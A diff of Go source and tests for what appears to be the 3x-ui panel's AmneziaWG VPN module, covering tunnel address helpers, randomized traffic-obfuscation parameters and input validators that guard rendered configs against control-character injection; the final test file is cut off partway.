+		ExternalInterface:     server.ExternalInterface,
+		IPv6Enabled:           server.IPv6Enabled,
+		IPv6ExternalInterface: server.IPv6ExternalInterface,
+		RouteThroughXray:      server.RouteThroughXray,
+	}, true
+}
+
+// interfaceNameForID derives the OS-level interface name for an inbound, e.g.
+// "awg42". Kept even though the embedded path has no real kernel interface
+// of its own: internal/amneziawgnet still uses the same name as a purely
+// cosmetic/log-friendly label, so an existing peer's identity/history
+// doesn't shift across the cutover.
+func interfaceNameForID(id int) string {
+	return fmt.Sprintf("awg%d", id)
+}
+
+// serverAddress returns the server's own tunnel address for a subnet base,
+// e.g. "10.8.1.1/24" for base "10.8.1.0" or "10.8.1.5". The server always
+// holds the first usable host of the network subnetIP/cidr actually
+// describes -- derived via netip rather than assuming subnetIP already ends
+// in ".0", so a subnetIP that isn't a bare network address (a typo, or a
+// manually edited value) can never collide with peer addresses, which are
+// allocated starting from the network's second host upward (see
+// allocateWireguardAddress). Falls back to the previous literal behavior
+// only if subnetIP/cidr doesn't parse as an IPv4 network at all -- normal
+// saves never reach that path since ValidateSubnetIPv4 already rejects it.
+func serverAddress(subnetIP string, cidr int) string {
+	if cidr <= 0 {
+		cidr = 24
+	}
+	// A /32 has no host bits at all -- "first usable host" is meaningless,
+	// and Next() would step outside the block entirely -- so a single-host
+	// base is used exactly as given, same as before this fix.
+	prefix, err := netip.ParsePrefix(fmt.Sprintf("%s/%d", subnetIP, cidr))
+	if err != nil || !prefix.Addr().Is4() || cidr >= 32 {
+		return fmt.Sprintf("%s/%d", subnetIP, cidr)
+	}
+	host := prefix.Masked().Addr().Next()
+	return fmt.Sprintf("%s/%d", host, cidr)
+}
+
+// serverAddressV6 returns the server's own IPv6 tunnel address for a subnet
+// CIDR (e.g. "fd86:ea04:1115::1/64" for "fd86:ea04:1115::/64"), the first
+// usable host in the prefix. ok is false when subnetCIDR is empty or not a
+// valid IPv6 prefix.
+func serverAddressV6(subnetCIDR string) (addr string, ok bool) {
+	prefix, err := netip.ParsePrefix(subnetCIDR)
+	if err != nil || !prefix.Addr().Is6() {
+		return "", false
+	}
+	host := prefix.Masked().Addr().Next()
+	return fmt.Sprintf("%s/%d", host, prefix.Bits()), true
+}
+
+// FirstIPv4 returns the first IPv4 address (mask stripped) among allowedIPs,
+// or "" if none — used to derive a peer's tunnel IPv4 address.
+func FirstIPv4(allowedIPs []string) string {
+	for _, a := range allowedIPs {
+		if prefix, err := netip.ParsePrefix(a); err == nil {
+			if prefix.Addr().Is4() {
+				return prefix.Addr().String()
+			}
+			continue
+		}
+		if addr, err := netip.ParseAddr(a); err == nil && addr.Is4() {
+			return addr.String()
+		}
+	}
+	return ""
+}
+
+// FirstIPv6 returns the first IPv6 address (mask stripped) among allowedIPs,
+// or "" if none — the IPv6 counterpart of FirstIPv4, used by
+// internal/amneziawgnet's IPv6-address-alias mechanism to find which
+// address, if any, a peer wants aliased onto the host, and by
+// internal/web/service/xray.go's injectAmneziawgV6Egress to build that
+// peer's own freedom outbound (sendThrough). Only the first match is
+// returned, exactly like FirstIPv4 — more than one IPv6 AllowedIPs entry
+// per peer is not a supported configuration for either feature.
+func FirstIPv6(allowedIPs []string) string {
+	for _, a := range allowedIPs {
+		if prefix, err := netip.ParsePrefix(a); err == nil {
+			if prefix.Addr().Is6() && !prefix.Addr().Is4In6() {
+				return prefix.Addr().String()
+			}
+			continue
+		}
+		if addr, err := netip.ParseAddr(a); err == nil && addr.Is6() && !addr.Is4In6() {
+			return addr.String()
+		}
+	}
+	return ""
+}

+ 187 - 0
internal/amneziawg/instance_test.go

@@ -0,0 +1,187 @@
+package amneziawg
+
+import (
+	"encoding/json"
+	"testing"
+
+	"github.com/mhsanaei/3x-ui/v3/internal/database/model"
+)
+
+func mkInboundSettings(t *testing.T, server *ServerSettings, clients []model.Client) string {
+	t.Helper()
+	bs, err := json.Marshal(InboundSettings{Server: server, Clients: clients})
+	if err != nil {
+		t.Fatalf("marshal settings: %v", err)
+	}
+	return string(bs)
+}
+
+func validServer() *ServerSettings {
+	return &ServerSettings{
+		PrivateKey: "serverPriv",
+		PublicKey:  "serverPub",
+		SubnetIP:   "10.8.1.0",
+		SubnetCIDR: 24,
+	}
+}
+
+func TestInstanceFromInboundParsesEnabledPeers(t *testing.T) {
+	settings := mkInboundSettings(t, validServer(), []model.Client{
+		{Email: "a@x", Enable: true, PublicKey: "pubA", PreSharedKey: "pskA", AllowedIPs: []string{"10.8.1.2/32"}},
+		{Email: "b@x", Enable: false, PublicKey: "pubB", AllowedIPs: []string{"10.8.1.3/32"}},
+		{Email: "c@x", Enable: true, PublicKey: "", AllowedIPs: []string{"10.8.1.4/32"}}, // no key: skipped
+		{Email: "d@x", Enable: true, PublicKey: "pubD", AllowedIPs: nil},                 // no address: skipped
+	})
+	ib := &model.Inbound{Id: 7, Tag: "awg-tag", Protocol: model.AmneziaWG, Port: 51820, Settings: settings}
+
+	inst, ok := InstanceFromInbound(ib)
+	if !ok {
+		t.Fatal("expected a usable instance")
+	}
+	if inst.Id != 7 || inst.Tag != "awg-tag" || inst.ListenPort != 51820 {
+		t.Fatalf("instance identity not carried over: %+v", inst)
+	}
+	if inst.InterfaceName != "awg7" {
+		t.Fatalf("InterfaceName = %q, want awg7", inst.InterfaceName)
+	}
+	if len(inst.Address) != 1 || inst.Address[0] != "10.8.1.1/24" {
+		t.Fatalf("Address = %v, want [10.8.1.1/24]", inst.Address)
+	}
+	if len(inst.Peers) != 1 {
+		t.Fatalf("Peers = %+v, want exactly 1 (only a@x qualifies)", inst.Peers)
+	}
+	p := inst.Peers[0]
+	if p.Email != "a@x" || p.PublicKey != "pubA" || p.PresharedKey != "pskA" || len(p.AllowedIPs) != 1 || p.AllowedIPs[0] != "10.8.1.2/32" {
+		t.Fatalf("peer mismatch: %+v", p)
+	}
+}
+
+func TestInstanceFromInboundCopiesAWG30Fields(t *testing.T) {
+	server := validServer()
+	server.S1, server.S2, server.S3, server.S4 = 20, 20, 20, 20
+	server.HeaderProtectionKey = "some-header-protection-key"
+	server.ContentPaddingAddition = "50-100"
+	settings := mkInboundSettings(t, server, []model.Client{
+		{Email: "a@x", Enable: true, PublicKey: "pubA", AllowedIPs: []string{"10.8.1.2/32"}},
+	})
+	ib := &model.Inbound{Id: 7, Protocol: model.AmneziaWG, Port: 51820, Settings: settings}
+
+	inst, ok := InstanceFromInbound(ib)
+	if !ok {
+		t.Fatal("expected a usable instance")
+	}
+	if inst.Obfuscation.HeaderProtectionKey != "some-header-protection-key" {
+		t.Fatalf("HeaderProtectionKey = %q, want it copied from ServerSettings", inst.Obfuscation.HeaderProtectionKey)
+	}
+	if inst.Obfuscation.ContentPaddingAddition != "50-100" {
+		t.Fatalf("ContentPaddingAddition = %q, want it copied from ServerSettings", inst.Obfuscation.ContentPaddingAddition)
+	}
+}
+
+func TestInstanceFromInboundRejectsWrongProtocol(t *testing.T) {
+	settings := mkInboundSettings(t, validServer(), []model.Client{
+		{Email: "a@x", Enable: true, PublicKey: "pubA", AllowedIPs: []string{"10.8.1.2/32"}},
+	})
+	ib := &model.Inbound{Id: 1, Protocol: model.VLESS, Settings: settings}
+	if _, ok := InstanceFromInbound(ib); ok {
+		t.Fatal("non-AmneziaWG inbound must be rejected")
+	}
+}
+
+func TestInstanceFromInboundRejectsNil(t *testing.T) {
+	if _, ok := InstanceFromInbound(nil); ok {
+		t.Fatal("nil inbound must be rejected")
+	}
+}
+
+func TestInstanceFromInboundRejectsMissingServer(t *testing.T) {
+	ib := &model.Inbound{Id: 1, Protocol: model.AmneziaWG, Settings: `{"clients":[]}`}
+	if _, ok := InstanceFromInbound(ib); ok {
+		t.Fatal("settings with no server block must be rejected")
+	}
+}
+
+func TestInstanceFromInboundRejectsUnparseableSettings(t *testing.T) {
+	ib := &model.Inbound{Id: 1, Protocol: model.AmneziaWG, Settings: `not json`}
+	if _, ok := InstanceFromInbound(ib); ok {
+		t.Fatal("unparseable settings must be rejected")
+	}
+}
+
+func TestInstanceFromInboundEmptyWhenNoEnabledPeers(t *testing.T) {
+	settings := mkInboundSettings(t, validServer(), []model.Client{
+		{Email: "a@x", Enable: false, PublicKey: "pubA", AllowedIPs: []string{"10.8.1.2/32"}},
+	})
+	ib := &model.Inbound{Id: 1, Protocol: model.AmneziaWG, Settings: settings}
+	if _, ok := InstanceFromInbound(ib); ok {
+		t.Fatal("an inbound with zero enabled peers must be skipped, like mtproto.InstanceFromInbound")
+	}
+}
+
+func TestServerAddress(t *testing.T) {
+	cases := []struct {
+		subnet string
+		cidr   int
+		want   string
+	}{
+		{"10.8.1.0", 24, "10.8.1.1/24"},
+		{"10.8.1.0", 0, "10.8.1.1/24"},  // cidr <= 0 defaults to /24
+		{"10.8.1.5", 24, "10.8.1.1/24"}, // non-network base: must not collide with peer allocation starting at .2
+		{"10.8.1.254", 24, "10.8.1.1/24"},
+		{"192.168.5.10", 32, "192.168.5.10/32"}, // /32 has no host bits: used as-is
+	}
+	for _, c := range cases {
+		if got := serverAddress(c.subnet, c.cidr); got != c.want {
+			t.Errorf("serverAddress(%q, %d) = %q, want %q", c.subnet, c.cidr, got, c.want)
+		}
+	}
+}
+
+func TestInterfaceNameForID(t *testing.T) {
+	if got := interfaceNameForID(42); got != "awg42" {
+		t.Errorf("interfaceNameForID(42) = %q, want awg42", got)
+	}
+}
+
+func TestFirstIPv4(t *testing.T) {
+	cases := []struct {
+		name string
+		ips  []string
+		want string
+	}{
+		{"single v4 CIDR", []string{"10.8.1.2/32"}, "10.8.1.2"},
+		{"bare v4 address, no mask", []string{"10.8.1.2"}, "10.8.1.2"},
+		{"v6 first, v4 second", []string{"fd86:ea04:1115::2/128", "10.8.1.2/32"}, "10.8.1.2"},
+		{"v4-only among several", []string{"10.8.1.2/32", "10.8.1.3/32"}, "10.8.1.2"},
+		{"v6 only", []string{"fd86:ea04:1115::2/128"}, ""},
+		{"empty input", nil, ""},
+		{"unparseable entries skipped", []string{"not-an-ip", "10.8.1.2/32"}, "10.8.1.2"},
+	}
+	for _, c := range cases {
+		if got := FirstIPv4(c.ips); got != c.want {
+			t.Errorf("%s: FirstIPv4(%v) = %q, want %q", c.name, c.ips, got, c.want)
+		}
+	}
+}
+
+func TestFirstIPv6(t *testing.T) {
+	cases := []struct {
+		name string
+		ips  []string
+		want string
+	}{
+		{"single v6 CIDR", []string{"fd86:ea04:1115::2/128"}, "fd86:ea04:1115::2"},
+		{"bare v6 address, no mask", []string{"fd86:ea04:1115::2"}, "fd86:ea04:1115::2"},
+		{"v4 first, v6 second", []string{"10.8.1.2/32", "fd86:ea04:1115::2/128"}, "fd86:ea04:1115::2"},
+		{"only first of two v6 entries returned", []string{"fd86:ea04:1115::2/128", "fd86:ea04:1115::3/128"}, "fd86:ea04:1115::2"},
+		{"v4 only", []string{"10.8.1.2/32"}, ""},
+		{"empty input", nil, ""},
+		{"unparseable entries skipped", []string{"not-an-ip", "fd86:ea04:1115::2/128"}, "fd86:ea04:1115::2"},
+		{"v4-mapped v6 is not a real v6 identity", []string{"::ffff:10.8.1.2/128"}, ""},
+	}
+	for _, c := range cases {
+		if got := FirstIPv6(c.ips); got != c.want {
+			t.Errorf("%s: FirstIPv6(%v) = %q, want %q", c.name, c.ips, got, c.want)
+		}
+	}
+}

+ 337 - 0
internal/amneziawg/params.go

@@ -0,0 +1,337 @@
+package amneziawg
+
+import (
+	"crypto/rand"
+	"encoding/base64"
+	"fmt"
+	"math/big"
+	"net/netip"
+	"regexp"
+	"strconv"
+	"strings"
+)
+
+// awgHMax caps generated H values at 2^31-1: the spec allows the full uint32,
+// but the amneziawg-windows-client config editor rejects anything above.
+const awgHMax = 2147483647
+
+// hMinWidth is the minimum width of each generated H1-H4 range.
+const hMinWidth = 1000
+
+// hMaxValid is the largest value ValidateObfuscation accepts for an H
+// parameter: uint32 max, the kernel's own limit.
+const hMaxValid int64 = 4294967295
+
+// randInt returns a uniform random int in [min, max] using crypto/rand. Falls
+// back to min on the (practically impossible) RNG error.
+func randInt(min, max int) int {
+	if max <= min {
+		return min
+	}
+	n, err := rand.Int(rand.Reader, big.NewInt(int64(max-min)+1))
+	if err != nil {
+		return min
+	}
+	return min + int(n.Int64())
+}
+
+// GenerateObfuscation31 produces a randomized AmneziaWG 3.1 parameter set: a
+// static value gets profiled by DPI, defeating the point.
+func GenerateObfuscation31() Obfuscation31 {
+	var o Obfuscation31
+
+	o.Jc = randInt(3, 6)
+	o.Jmin = randInt(40, 89)
+	o.Jmax = o.Jmin + randInt(50, 250)
+
+	o.S1 = randInt(15, 150)
+	o.S2 = randInt(15, 150)
+	// Kernel constraint: S1+56 != S2, else init and response handshake
+	// packets end up the same size after padding.
+	for o.S1+56 == o.S2 {
+		o.S2 = randInt(15, 150)
+	}
+	// Floored at 12: HeaderProtectionKey is always generated below, and IpcSet
+	// rejects header protection unless every S1-S4 is >= 12.
+	o.S3 = randInt(12, 55) // cookie padding (max 64)
+	o.S4 = randInt(12, 27) // transport padding (max 32)
+
+	h := generateHRanges()
+	o.H1, o.H2, o.H3, o.H4 = h[0], h[1], h[2], h[3]
+
+	// CPS signature packet, N random bytes before each handshake. I2-I5 stay
+	// empty, matching Amnezia's own generator.
+	o.I1 = fmt.Sprintf("<r %d>", randInt(32, 256))
+
+	o.HeaderProtectionKey = generateHeaderProtectionKey()
+
+	// Total padding stays <= 64: it rides on full-size transport packets, the
+	// same MTU headroom that caps S4 at 32.
+	cpLo := randInt(8, 24)
+	o.ContentPaddingAddition = fmt.Sprintf("%d-%d", cpLo, cpLo+randInt(8, 40))
+
+	// Timing windows bracket WireGuard's own constants (rekey 120s, reject
+	// 180s) so sessions still renew before expiry.
+	rkLo := randInt(100, 120)
+	rkHi := rkLo + randInt(10, 40)
+	o.RekeyAfterTime = fmt.Sprintf("%d-%d", rkLo, rkHi)
+
+	// Every reject value exceeds every rekey value by >= 30s by construction.
+	rjLo := rkHi + randInt(30, 60)
+	o.RejectAfterTime = fmt.Sprintf("%d-%d", rjLo, rjLo+randInt(30, 90))
+
+	rtLo := randInt(3, 6)
+	o.RekeyTimeout = fmt.Sprintf("%d-%d", rtLo, rtLo+randInt(1, 4))
+
+	// Max 20s: under clients' typical 25s PersistentKeepalive and ~30s NAT UDP
+	// timeouts, or idle links lose their NAT mapping.
+	kaLo := randInt(8, 12)
+	o.KeepaliveTimeout = fmt.Sprintf("%d-%d", kaLo, kaLo+randInt(2, 8))
+
+	haLo := randInt(15, 25)
+	o.MaxHandshakeAttempts = fmt.Sprintf("%d-%d", haLo, haLo+randInt(5, 25))
+
+	o.RandomTrailers = true
+	// Cookie replies are DPI-fingerprintable; this stealth default trades away
+	// WG's handshake-flood mitigation and is toggleable per inbound.
+	o.DisableCookies = true
+
+	return o
+}
+
+// generateHeaderProtectionKey returns base64 of 32 crypto/rand bytes, the
+// format amneziawg-tools' HeaderProtectionKey parser expects.
+func generateHeaderProtectionKey() string {
+	key := make([]byte, 32)
+	if _, err := rand.Read(key); err != nil {
+		return ""
+	}
+	return base64.StdEncoding.EncodeToString(key)
+}
+
+// generateHRanges returns four non-overlapping "low-high" ranges for H1-H4,
+// one per band of the space so non-overlap needs no retries. The low bound is
+// >= 5: values 1-4 are reserved for vanilla WireGuard message types.
+func generateHRanges() [4]string {
+	const lo = 5
+	bandSize := (awgHMax - lo + 1) / 4
+	var out [4]string
+	for i := 0; i < 4; i++ {
+		bandLo := lo + i*bandSize
+		bandHi := bandLo + bandSize - 1
+		start := randInt(bandLo, bandHi-hMinWidth-1)
+		end := randInt(start+hMinWidth, bandHi-1)
+		out[i] = fmt.Sprintf("%d-%d", start, end)
+	}
+	return out
+}
+
+// ValidateObfuscation rejects malformed parameters before they are saved, so
+// a bad manual entry can't break the embedded amneziawg-go device's own
+// UAPI config apply (internal/amneziawgnet's buildUAPIConfig/IpcSet) or
+// produce a client config the official app rejects outright. Blank H values
+// are allowed (they fall back to a default); each accepts an integer or a
+// "100-800" range.
+func ValidateObfuscation(o Obfuscation31) error {
+	if o.Jmin > o.Jmax {
+		return fmt.Errorf("invalid Jmin/Jmax: %d must not exceed %d", o.Jmin, o.Jmax)
+	}
+	if o.S3 < 0 || o.S3 > 64 {
+		return fmt.Errorf("invalid S3 value %d (must be 0..64)", o.S3)
+	}
+	if o.S4 < 0 || o.S4 > 32 {
+		return fmt.Errorf("invalid S4 value %d (must be 0..32)", o.S4)
+	}
+	if o.S1+56 == o.S2 {
+		return fmt.Errorf("invalid S1/S2: S1+56 must not equal S2 (%d+56 == %d)", o.S1, o.S2)
+	}
+	for i, h := range []string{o.H1, o.H2, o.H3, o.H4} {
+		if err := validateUintRange(h, 0); err != nil {
+			return fmt.Errorf("invalid H%d: %w", i+1, err)
+		}
+	}
+	if err := validateHeaderProtectionKey(o.HeaderProtectionKey); err != nil {
+		return err
+	}
+	if o.HeaderProtectionKey != "" {
+		for i, s := range []int{o.S1, o.S2, o.S3, o.S4} {
+			if s < 12 {
+				return fmt.Errorf("invalid S%d value %d: header protection requires S1-S4 >= 12", i+1, s)
+			}
+		}
+	}
+	if err := validateUintRange(o.ContentPaddingAddition, 0); err != nil {
+		return fmt.Errorf("invalid contentPaddingAddition: %w", err)
+	}
+	timing := []struct{ field, v string }{
+		{"rekeyAfterTime", o.RekeyAfterTime},
+		{"rekeyTimeout", o.RekeyTimeout},
+		{"rejectAfterTime", o.RejectAfterTime},
+		{"keepaliveTimeout", o.KeepaliveTimeout},
+		{"maxHandshakeAttempts", o.MaxHandshakeAttempts},
+	}
+	for _, tf := range timing {
+		// Zero would disable the timer or retry loop outright, so min is 1.
+		if err := validateUintRange(tf.v, 1); err != nil {
+			return fmt.Errorf("invalid %s: %w", tf.field, err)
+		}
+	}
+	// Sessions must renew before hard expiry, so every possible rekey fires
+	// before the earliest reject. A blank side means WireGuard's own default.
+	if o.RekeyAfterTime != "" || o.RejectAfterTime != "" {
+		rekeyHi, rejectLo := int64(120), int64(180)
+		if o.RekeyAfterTime != "" {
+			_, rekeyHi, _ = parseUintRange(o.RekeyAfterTime)
+		}
+		if o.RejectAfterTime != "" {
+			rejectLo, _, _ = parseUintRange(o.RejectAfterTime)
+		}
+		if rekeyHi >= rejectLo {
+			return fmt.Errorf("invalid rekeyAfterTime/rejectAfterTime: max rekey %d must be below min reject %d", rekeyHi, rejectLo)
+		}
+	}
+	return nil
+}
+
+// CanonicalizeUintRange stores a pasted "110 - 140" as "110-140", and
+// collapses a whitespace-only value back to "feature off".
+func CanonicalizeUintRange(v string) string {
+	return strings.ReplaceAll(strings.TrimSpace(v), " ", "")
+}
+
+// validateHeaderProtectionKey accepts blank (feature off) or a base64 32-byte
+// key. Control chars are rejected up front: DecodeString silently ignores
+// \r\n, so a line-wrapped pasted key would pass and then split client configs.
+func validateHeaderProtectionKey(v string) error {
+	if v == "" {
+		return nil
+	}
+	if err := ValidateConfigValue("headerProtectionKey", v); err != nil {
+		return err
+	}
+	key, err := base64.StdEncoding.DecodeString(v)
+	if err != nil {
+		return fmt.Errorf("invalid headerProtectionKey: not base64: %w", err)
+	}
+	if len(key) != 32 {
+		return fmt.Errorf("invalid headerProtectionKey: got %d bytes, want 32", len(key))
+	}
+	return nil
+}
+
+// ValidateIPv6Subnet rejects a malformed subnet before it's saved. A blank
+// value is only valid when IPv6 itself is disabled.
+func ValidateIPv6Subnet(enabled bool, subnet string) error {
+	if !enabled {
+		return nil
+	}
+	if strings.TrimSpace(subnet) == "" {
+		return fmt.Errorf("ipv6Subnet is required when IPv6 is enabled")
+	}
+	prefix, err := netip.ParsePrefix(subnet)
+	if err != nil {
+		return fmt.Errorf("invalid ipv6Subnet %q: %w", subnet, err)
+	}
+	if !prefix.Addr().Is6() {
+		return fmt.Errorf("invalid ipv6Subnet %q: not an IPv6 prefix", subnet)
+	}
+	return nil
+}
+
+// interfaceNamePattern matches a plausible Linux device name (eth0, br-lan,
+// eno1.100, eth0:0), capped at 15 bytes (IFNAMSIZ-1).
+var interfaceNamePattern = regexp.MustCompile(`^[A-Za-z0-9_.@:-]{1,15}$`)
+
+// ValidateInterfaceName guards the NIC names generateServerConfig interpolates
+// unescaped into a root-executed PostUp/PostDown line. Blank is allowed and
+// means auto-detect (or, for IPv6ExternalInterface, reuse the IPv4 one).
+func ValidateInterfaceName(name string) error {
+	if name == "" {
+		return nil
+	}
+	if !interfaceNamePattern.MatchString(name) {
+		return fmt.Errorf("invalid interface name %q: must be 1-15 characters of letters, digits, '.', '_', '@', ':' or '-'", name)
+	}
+	return nil
+}
+
+// ValidateSubnetIPv4 guards subnetIP, which lands in the MASQUERADE rule the
+// same way ExternalInterface does. subnetCIDR <= 0 means unset, mirroring
+// serverAddress's own default-to-/24 leniency.
+func ValidateSubnetIPv4(subnetIP string, subnetCIDR int) error {
+	cidr := subnetCIDR
+	if cidr <= 0 {
+		cidr = 24
+	}
+	if cidr > 32 {
+		return fmt.Errorf("invalid subnetCidr %d: must be 0..32", subnetCIDR)
+	}
+	prefix, err := netip.ParsePrefix(fmt.Sprintf("%s/%d", subnetIP, cidr))
+	if err != nil {
+		return fmt.Errorf("invalid subnetIp %q: %w", subnetIP, err)
+	}
+	if !prefix.Addr().Is4() {
+		return fmt.Errorf("invalid subnetIp %q: not an IPv4 address", subnetIP)
+	}
+	return nil
+}
+
+// ValidateConfigValue rejects control characters in any value interpolated
+// verbatim into a rendered .conf: a newline re-opens an [Interface] section
+// whose "PostUp = ..." runs as root the moment whoever downloaded that
+// config -- the client app, or an admin importing it into the official
+// awg-quick CLI directly -- applies it. The panel's own server side never
+// runs awg-quick itself (internal/amneziawgnet applies config via
+// amneziawg-go's UAPI, not a parsed text file), but this exact value still
+// reaches a real text-based config downstream. field names the value.
+func ValidateConfigValue(field, v string) error {
+	for _, r := range v {
+		if r == '\n' || r == '\r' || r < 0x20 || r == 0x7f {
+			return fmt.Errorf("invalid %s: control characters are not allowed", field)
+		}
+	}
+	return nil
+}
+
+// validateUintRange checks a uint32-range parameter (H1-H4, the 3.x padding
+// and timing fields): blank, an integer, or "low-high" within the bounds.
+func validateUintRange(v string, minAllowed int64) error {
+	if strings.TrimSpace(v) == "" {
+		return nil
+	}
+	// parseUintRange trims each half, so "110\n-140" would otherwise pass and
+	// then split a rendered config line in two.
+	if err := ValidateConfigValue("range", v); err != nil {
+		return fmt.Errorf("value %q must not contain control characters", v)
+	}
+	lo, hi, ok := parseUintRange(v)
+	if !ok {
+		return fmt.Errorf("value %q must be an integer or a low-high range", v)
+	}
+	if lo < minAllowed || hi > hMaxValid || lo > hi {
+		return fmt.Errorf("range %q must satisfy %d <= low <= high <= %d", v, minAllowed, hMaxValid)
+	}
+	return nil
+}
+
+// parseUintRange parses "N" (lo == hi) or "low-high"; ok is false when blank
+// or non-numeric. Bounds are NOT checked here.
+func parseUintRange(v string) (lo, hi int64, ok bool) {
+	v = strings.TrimSpace(v)
+	if v == "" {
+		return 0, 0, false
+	}
+	if loS, hiS, isRange := strings.Cut(v, "-"); isRange {
+		l, err1 := strconv.ParseInt(strings.TrimSpace(loS), 10, 64)
+		h, err2 := strconv.ParseInt(strings.TrimSpace(hiS), 10, 64)
+		if err1 != nil || err2 != nil {
+			return 0, 0, false
+		}
+		return l, h, true
+	}
+	n, err := strconv.ParseInt(v, 10, 64)
+	if err != nil {
+		return 0, 0, false
+	}
+	return n, n, true
+}

+ 384 - 0
internal/amneziawg/params_test.go

@@ -0,0 +1,384 @@
+package amneziawg
+
+import (
+	"encoding/base64"
+	"strconv"
+	"strings"
+	"testing"
+)
+
+func TestGenerateObfuscation31DefaultRanges(t *testing.T) {
+	for i := 0; i < 200; i++ {
+		o := GenerateObfuscation31()
+		if o.Jc < 3 || o.Jc > 6 {
+			t.Fatalf("Jc = %d, want [3,6]", o.Jc)
+		}
+		if o.Jmin < 40 || o.Jmin > 89 {
+			t.Fatalf("Jmin = %d, want [40,89]", o.Jmin)
+		}
+		if o.Jmax < o.Jmin+50 || o.Jmax > o.Jmin+250 {
+			t.Fatalf("Jmax = %d, want [Jmin+50, Jmin+250] (Jmin=%d)", o.Jmax, o.Jmin)
+		}
+		if o.S1 < 15 || o.S1 > 150 {
+			t.Fatalf("S1 = %d, want [15,150]", o.S1)
+		}
+		if o.S2 < 15 || o.S2 > 150 {
+			t.Fatalf("S2 = %d, want [15,150]", o.S2)
+		}
+		if o.S1+56 == o.S2 {
+			t.Fatalf("S1+56 == S2 (%d+56 == %d): violates kernel constraint", o.S1, o.S2)
+		}
+		if o.S3 < 12 || o.S3 > 55 {
+			t.Fatalf("S3 = %d, want [12,55]", o.S3)
+		}
+		if o.S4 < 12 || o.S4 > 27 {
+			t.Fatalf("S4 = %d, want [12,27]", o.S4)
+		}
+		if o.HeaderProtectionKey != "" {
+			if err := ValidateObfuscation(o); err != nil {
+				t.Fatalf("generated set failed its own validation: %v", err)
+			}
+		}
+		for name, h := range map[string]string{"H1": o.H1, "H2": o.H2, "H3": o.H3, "H4": o.H4} {
+			if err := validateUintRange(h, 0); err != nil {
+				t.Fatalf("%s = %q invalid: %v", name, h, err)
+			}
+			if h == "" {
+				t.Fatalf("%s is empty, want a generated range", name)
+			}
+		}
+		if !strings.HasPrefix(o.I1, "<r ") || !strings.HasSuffix(o.I1, ">") {
+			t.Fatalf("I1 = %q, want \"<r N>\" form", o.I1)
+		}
+		n, err := strconv.Atoi(strings.TrimSuffix(strings.TrimPrefix(o.I1, "<r "), ">"))
+		if err != nil || n < 32 || n > 256 {
+			t.Fatalf("I1 = %q, embedded N must be an integer in [32,256]", o.I1)
+		}
+		for name, v := range map[string]string{"I2": o.I2, "I3": o.I3, "I4": o.I4, "I5": o.I5} {
+			if v != "" {
+				t.Fatalf("%s = %q, generated sets must leave I2-I5 empty", name, v)
+			}
+		}
+		key, err := base64.StdEncoding.DecodeString(o.HeaderProtectionKey)
+		if err != nil || len(key) != 32 {
+			t.Fatalf("HeaderProtectionKey = %q, must be base64 of 32 bytes (err=%v)", o.HeaderProtectionKey, err)
+		}
+		assertRangeWithin(t, "ContentPaddingAddition", o.ContentPaddingAddition, 8, 64)
+		rkLo, rkHi := assertRangeWithin(t, "RekeyAfterTime", o.RekeyAfterTime, 100, 160)
+		if rkHi-rkLo < 10 || rkHi-rkLo > 40 {
+			t.Fatalf("RekeyAfterTime = %q, width must be in [10,40]", o.RekeyAfterTime)
+		}
+		rjLo, _ := assertRangeWithin(t, "RejectAfterTime", o.RejectAfterTime, 130, 310)
+		if rjLo < rkHi+30 {
+			t.Fatalf("RejectAfterTime = %q must start >= 30s above RekeyAfterTime max %d", o.RejectAfterTime, rkHi)
+		}
+		assertRangeWithin(t, "RekeyTimeout", o.RekeyTimeout, 3, 10)
+		assertRangeWithin(t, "KeepaliveTimeout", o.KeepaliveTimeout, 8, 20)
+		assertRangeWithin(t, "MaxHandshakeAttempts", o.MaxHandshakeAttempts, 15, 50)
+		if !o.RandomTrailers || !o.DisableCookies {
+			t.Fatalf("RandomTrailers/DisableCookies = %v/%v, generated sets default both on", o.RandomTrailers, o.DisableCookies)
+		}
+	}
+}
+
+// assertRangeWithin parses a "lo-hi" value and fails unless
+// min <= lo <= hi <= max, returning the parsed bounds.
+func assertRangeWithin(t *testing.T, name, v string, min, max int64) (lo, hi int64) {
+	t.Helper()
+	lo, hi, ok := parseUintRange(v)
+	if !ok || !strings.Contains(v, "-") {
+		t.Fatalf("%s = %q, want a lo-hi range", name, v)
+	}
+	if lo < min || hi > max || lo > hi {
+		t.Fatalf("%s = %q, want %d <= lo <= hi <= %d", name, v, min, max)
+	}
+	return lo, hi
+}
+
+func TestGenerateHRangesNonOverlapping(t *testing.T) {
+	for i := 0; i < 50; i++ {
+		h := generateHRanges()
+		var prevHi int64
+		for i, r := range h {
+			lo, hi, ok := strings.Cut(r, "-")
+			if !ok {
+				t.Fatalf("H%d = %q is not a range", i+1, r)
+			}
+			loN, _ := strconv.ParseInt(lo, 10, 64)
+			hiN, _ := strconv.ParseInt(hi, 10, 64)
+			if loN <= prevHi {
+				t.Fatalf("H%d = %q overlaps or touches the previous range (prev high=%d)", i+1, r, prevHi)
+			}
+			if hiN-loN < hMinWidth {
+				t.Fatalf("H%d = %q is narrower than hMinWidth=%d", i+1, r, hMinWidth)
+			}
+			prevHi = hiN
+		}
+	}
+}
+
+func validObfuscation() Obfuscation31 {
+	return GenerateObfuscation31()
+}
+
+func TestValidateObfuscationAcceptsGenerated(t *testing.T) {
+	for i := 0; i < 50; i++ {
+		if err := ValidateObfuscation(validObfuscation()); err != nil {
+			t.Fatalf("generated obfuscation set rejected: %v", err)
+		}
+	}
+}
+
+func TestValidateObfuscationAcceptsBlankH(t *testing.T) {
+	o := validObfuscation()
+	o.H1, o.H2, o.H3, o.H4 = "", "", "", ""
+	if err := ValidateObfuscation(o); err != nil {
+		t.Fatalf("blank H values should be allowed (fall back to defaults): %v", err)
+	}
+}
+
+func TestValidateObfuscationRejectsBadJminJmax(t *testing.T) {
+	o := validObfuscation()
+	o.Jmin, o.Jmax = 50, 10
+	if err := ValidateObfuscation(o); err == nil {
+		t.Fatal("Jmin > Jmax must be rejected")
+	}
+}
+
+func TestValidateObfuscationRejectsBadS3S4(t *testing.T) {
+	o := validObfuscation()
+	o.S3 = 65
+	if err := ValidateObfuscation(o); err == nil {
+		t.Fatal("S3 > 64 must be rejected")
+	}
+	o = validObfuscation()
+	o.S4 = 33
+	if err := ValidateObfuscation(o); err == nil {
+		t.Fatal("S4 > 32 must be rejected")
+	}
+	o = validObfuscation()
+	o.S3, o.S4 = -1, -1
+	if err := ValidateObfuscation(o); err == nil {
+		t.Fatal("negative S3/S4 must be rejected")
+	}
+}
+
+func TestValidateObfuscationRejectsLowSWithHeaderProtection(t *testing.T) {
